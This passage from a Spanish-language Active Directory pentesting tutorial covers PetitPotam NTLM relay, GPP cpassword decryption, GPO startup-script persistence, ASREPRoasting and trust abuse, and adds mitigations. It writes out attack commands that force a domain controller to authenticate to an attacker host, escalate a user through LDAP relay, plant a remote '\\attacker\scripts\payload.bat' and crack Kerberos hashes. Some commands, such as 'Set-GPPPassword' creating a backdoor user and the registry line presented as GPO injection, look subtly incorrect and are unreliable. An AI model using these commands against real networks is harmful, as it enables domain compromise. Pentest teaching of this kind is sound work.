- Aplicar los parches de seguridad publicados por Microsoft.
- Monitorizar eventos de creación de usuarios y ejecuciones de binarios anómalos.
PrintNightmare representa una de las formas más sencillas de escalado a SYSTEM en un entorno Windows, sobre todo cuando se combina con el movimiento lateral. En la próxima sección abordaremos PetitPotam, una técnica que permite provocar autenticaciones forzadas de un DC y redirigirlas a un servidor controlado por el atacante.
14. PetitPotam
PetitPotam es una vulnerabilidad que permite a un atacante remoto forzar a un servidor Windows, incluyendo un controlador de dominio (DC), a autenticarse contra un recurso remoto bajo el control del atacante, usando el protocolo MS-EFSRPC. Esto puede ser aprovechado para capturar hashes NTLM o realizar ataques de relay como NTLM relay a LDAP y tomar el control del dominio.
14.1. Requisitos para el ataque
- El objetivo debe tener habilitado el servicio
MS-EFSRPC
(normalmente activo por defecto en controladores de dominio). - El atacante debe controlar un servidor que reciba la autenticación del DC (por ejemplo, via Responder o ntlmrelayx).
14.2. Herramientas necesarias
- PetitPotam: script para lanzar la petición EFS que provoca la autenticación.
- Impacket (ntlmrelayx): para relanzar la autenticación y obtener acceso.
14.3. Preparación del entorno
Lanza ntlmrelayx y configúralo para relanzar hacia LDAP (para crear un nuevo usuario en el dominio):
ntlmrelayx.py -t ldap://172.16.5.5 --no-smb-server --escalate-user testuser
Esto relanza la autenticación entrante para ejecutar acciones sobre LDAP.
14.4. Forzar la autenticación con PetitPotam
Desde otro terminal:
python3 PetitPotam.py -u testuser -p P@ssw0rd -d davidalvk.local 172.16.5.5 172.16.5.222
- El primer argumento es la IP del DC.
- El segundo argumento es la IP del atacante (servidor ntlmrelayx).
El DC intentará autenticarse contra el servidor del atacante, permitiendo al relay interceptar y explotar la sesión.
14.5. Post-explotación: crear un usuario o agregar a Domain Admins
ntlmrelayx puede ser configurado para:
- Crear un usuario y agregarlo a grupos privilegiados.
- Inyectar una shell o establecer persistencia.
14.6. Mitigación
- Aplicar los parches de seguridad de agosto 2021 o posteriores.
- Bloquear el uso del protocolo MS-EFSRPC si no se necesita.
- Implementar Protecciones SMB Signing y LDAP Signing.
PetitPotam demuestra cómo una autenticación forzada puede convertirse en un acceso completo al dominio si se combina con relays bien configurados. En la siguiente sección veremos otras configuraciones erróneas comunes que permiten abuso de privilegios sin necesidad de explotar vulnerabilidades del sistema.
15. Configuraciones Erróneas Varias
Las vulnerabilidades más peligrosas en Active Directory muchas veces no provienen de fallos de software, sino de errores de configuración. Delegaciones incorrectas, permisos excesivos y políticas mal implementadas pueden abrir puertas para la escalada de privilegios o persistencia sin explotar ninguna vulnerabilidad clásica.
15.1. Usuarios con privilegios innecesarios
Verifica usuarios que son miembros de grupos de alto privilegio como Administrators
, Domain Admins
, Backup Operators
, etc.:
Get-ADGroupMember -Identity "Domain Admins"
Revise también permisos delegados sobre OU:
Get-ADObject -LDAPFilter '(objectClass=organizationalUnit)' -Properties ntSecurityDescriptor | ForEach-Object {Get-Acl -Path "AD:\$($_.DistinguishedName)"}
15.2. Permisos WriteDACL y GenericAll
Estos derechos otorgan el control total sobre objetos del dominio. Puedes enumerarlos con PowerView:
Find-InterestingDomainAcl | Out-GridView
Usuarios con GenericAll
, GenericWrite
, WriteDACL
, WriteOwner
pueden escalar privilegios sin explotar vulnerabilidades.
15.3. SPNs asignados a cuentas de usuarios
SPNs deben asignarse a cuentas de servicio, no a usuarios comunes. Cuentas de usuario con SPNs son objetivos ideales para Kerberoasting.
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName
15.4. Cuentas que no expiran o sin MFA
Usuarios con contraseñas que nunca expiran representan un riesgo elevado. Verifícalo con:
Search-ADAccount -PasswordNeverExpires
15.5. Cuentas con delegación sin restricciones
La delegación permite a una cuenta hacerse pasar por otra. Si no está correctamente restringida, puede ser explotada.
Verifica:
Get-ADUser -Filter {TrustedForDelegation -eq $true}
15.6. Sistemas con SMBv1 habilitado
SMBv1 es obsoleto e inseguro. Su presencia es una señal de riesgo alto:
Get-WindowsFeature FS-SMB1
Deshabilítalo si no es necesario:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Estas configuraciones erróneas, aunque comunes, pueden ser la puerta de entrada perfecta para un atacante interno o incluso externo que logre acceder al entorno. En la siguiente sección abordaremos la enumeración y abuso de directivas de grupo (GPOs), otra fuente frecuente de configuraciones peligrosas.
16. Enumeración y Ataques de Directivas de Grupo (GPOs)
Las Directivas de Grupo (GPOs) son uno de los mecanismos más potentes en Active Directory para configurar y controlar estaciones de trabajo, usuarios y servidores. Sin embargo, si no están bien gestionadas, pueden convertirse en vectores de ataque.
16.1. Enumerar GPOs aplicadas
Con PowerView puedes listar todas las GPOs del dominio:
Get-DomainGPO
Para ver las GPOs aplicadas a una unidad organizativa (OU):
Get-DomainOU -Properties gplink
Ver GPOs aplicadas a un usuario en específico:
gpresult /R
16.2. Buscar contraseñas embebidas
Antiguamente, Microsoft permitía establecer contraseñas locales mediante GPO. Aunque esta práctica ya no es segura, muchas organizaciones aún tienen configuraciones vulnerables.
Busca archivos Groups.xml
:
Get-ChildItem -Recurse -Include Groups.xml -Path "\\davidalvk.local\SYSVOL" | Select-String -Pattern 'cpassword'
El valor cpassword
es una contraseña cifrada con una clave conocida. Puede ser descifrado con herramientas como gpp-decrypt.py
:
gpp-decrypt.py <cpassword>
16.3. Modificación de GPOs mal delegadas
Usuarios con permisos de edición sobre GPOs pueden inyectar scripts o tareas programadas:
Enumerar permisos sobre GPOs:
Get-DomainGPO -Properties ntSecurityDescriptor | ForEach-Object {Get-ObjectAcl -SamAccountName $_.DisplayName -ResolveGUIDs}
Modificar el contenido de una GPO (con privilegios adecuados):
Set-GPPPassword -Path "\\davidalvk.local\SYSVOL\..." -UserName backdoor -Password P@ssw0rd
16.4. Ataque de persistencia: Script de inicio
Puedes insertar un script en una GPO que se ejecute al inicio de sesión o del sistema:
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\System" -Name "Scripts" -Value "\\attacker\scripts\payload.bat"
Esto permite ejecutar payloads remotamente en cada máquina afectada por esa GPO.
El abuso de GPOs mal configuradas es una técnica muy sigilosa de escalado y persistencia. En el próximo apartado exploraremos el ataque ASREPRoasting, especialmente efectivo contra cuentas mal configuradas en el servicio Kerberos.
17. ASREPRoasting
ASREPRoasting es un ataque que permite obtener hashes Kerberos de usuarios que tienen habilitada la opción «No requiere preautenticación». Esta configuración, pensada originalmente para compatibilidad, puede ser explotada para realizar ataques offline sin necesidad de credenciales válidas.
17.1. Requisitos del entorno
- El dominio debe contener usuarios con la opción
DONT_REQ_PREAUTH
activa. - No se necesita acceso privilegiado ni interacción con el usuario.
17.2. Enumerar usuarios vulnerables
Con PowerView en PowerShell:
Get-DomainUser -PreauthNotRequired
Desde Linux con Impacket (GetNPUsers.py
):
GetNPUsers.py davidalvk.local/ -dc-ip 172.16.5.5 -no-pass -usersfile asrep_users.txt
-no-pass
: no requiere contraseña-usersfile
: lista de posibles usuarios a testear
17.3. Crackear el hash con Hashcat
El hash ASREP es del tipo $krb5asrep$23$
. Puedes usar hashcat:
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
17.4. Configuración incorrecta desde Active Directory
Puedes identificar manualmente usuarios mal configurados:
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object { $_.DoesNotRequirePreAuth -eq $true }
Si el flag DoesNotRequirePreAuth
es true
, el usuario es vulnerable.
17.5. Corrección del riesgo
Para corregir la configuración en usuarios vulnerables:
Set-ADUser -Identity jdoe -DoesNotRequirePreAuth $false
ASREPRoasting es extremadamente efectivo, silencioso y funcional desde el exterior del dominio. Es una técnica que debería tenerse siempre presente durante una fase de reconocimiento. A continuación veremos el abuso de relaciones de confianza, comenzando por el escenario Child > Parent.
18. Relaciones de Confianza – Confianza Child > Parent
En Active Directory, los bosques pueden tener relaciones de confianza (trusts) entre dominios padre e hijo. Cuando estas relaciones no están bien configuradas, pueden permitir que un usuario autenticado en un dominio hijo comprometa el dominio padre.
18.1. Contexto del ataque
En una relación de confianza bidireccional, un dominio hijo puede autenticar contra el dominio padre. Si hay delegaciones mal configuradas o derechos excesivos, se puede escalar privilegios en el dominio superior.
18.2. Recolección de información de confianza
Con PowerView:
Get-DomainTrust
Para ver usuarios de dominios externos:
Get-DomainForeignUser
Get-DomainForeignGroupMember
18.3. Enumerar ACLs cruzadas
Con BloodHound puedes detectar rutas desde un dominio hijo hacia objetos sensibles en el dominio padre. Ejecuta la recolección:
bloodhound-python -u user -p password -ns 172.16.5.5 -d subdomain.davidalvk.local -c acl,trusts
Sube los resultados a la interfaz gráfica de BloodHound y busca rutas de ataque que atraviesen la relación de confianza.
18.4. Escenario de abuso: WriteDACL o GenericAll sobre objetos del dominio padre
Si desde el dominio hijo puedes modificar ACLs sobre objetos del padre, podrías:
- Agregar tu cuenta a grupos privilegiados.
- Delegar permisos para DCSync.
- Crear cuentas con privilegios elevados.
18.5. Mitigación
- Revisar regularmente los permisos delegados entre dominios.
- Restringir el alcance de la confianza si no es necesario.
- Auditar el uso de
WriteDACL
,GenericAll
,WriteOwner
, especialmente en relaciones interdominio.
Las relaciones de confianza mal controladas entre dominios permiten escalar privilegios fuera del ámbito original del atacante. En la siguiente sección exploraremos un escenario más complejo: las relaciones de confianza entre bosques (Cross-Forest Trusts), y cómo también pueden ser utilizadas para comprometer todo un ecosistema de AD.
19. Relaciones de Confianza – Cross-Forest
Las relaciones de confianza entre bosques (Cross-Forest Trusts) son utilizadas para permitir la interoperabilidad entre distintos bosques de Active Directory. Aunque necesarias en entornos complejos, su configuración incorrecta puede representar un grave riesgo de seguridad, permitiendo que un compromiso en un bosque se propague a otros.
19.1. Tipos de relaciones de confianza entre bosques
- Transitiva: permite que la confianza se extienda más allá del dominio o bosque directamente involucrado.
- Unidireccional o bidireccional: define si la autenticación es posible en un solo sentido o en ambos.
19.2. Recolección de relaciones de confianza
Desde PowerView en cualquiera de los bosques:
Get-ForestTrust
Para ver qué dominios están autorizados y qué tipo de autenticación está permitida.
19.3. Enumerar rutas de ataque Cross-Forest
Con BloodHound, puedes mapear relaciones de confianza entre bosques y determinar si existen rutas posibles hacia controladores de dominio u objetos sensibles.
bloodhound-python -u user -p pass -ns 10.10.10.10 -d bosque.local -c trusts,acl
Sube los datos a la interfaz y analiza si hay conexiones desde tu bosque hacia dominios externos que permitan escalada de privilegios.
19.4. Abuso de configuraciones erróneas
Un error común es otorgar a un usuario de un bosque remoto privilegios excesivos en objetos locales. Por ejemplo:
GenericAll
oWriteDACL
sobre grupos de administradores locales.- Permisos para ejecutar DCSync.
El atacante podría:
- Crear usuarios remotos con privilegios en el bosque local.
- Acceder a GPOs y modificar configuraciones críticas.
- Obtener hashes del DC local y comprometer el dominio completo.
19.5. Buenas prácticas y mitigación
- Evitar relaciones de confianza innecesarias.
- Usar relaciones unidireccionales cuando sea posible.
- Auditar periódicamente permisos delegados entre bosques.
- Utilizar herramientas como
BloodHound
,PingCastle
, yADRecon
para evaluar el estado de la configuración.
Las relaciones Cross-Forest representan un punto de entrada privilegiado para atacar dominios sin comprometer directamente sus usuarios. Cuando no se gestionan con precaución, permiten movimientos laterales silenciosos y persistentes.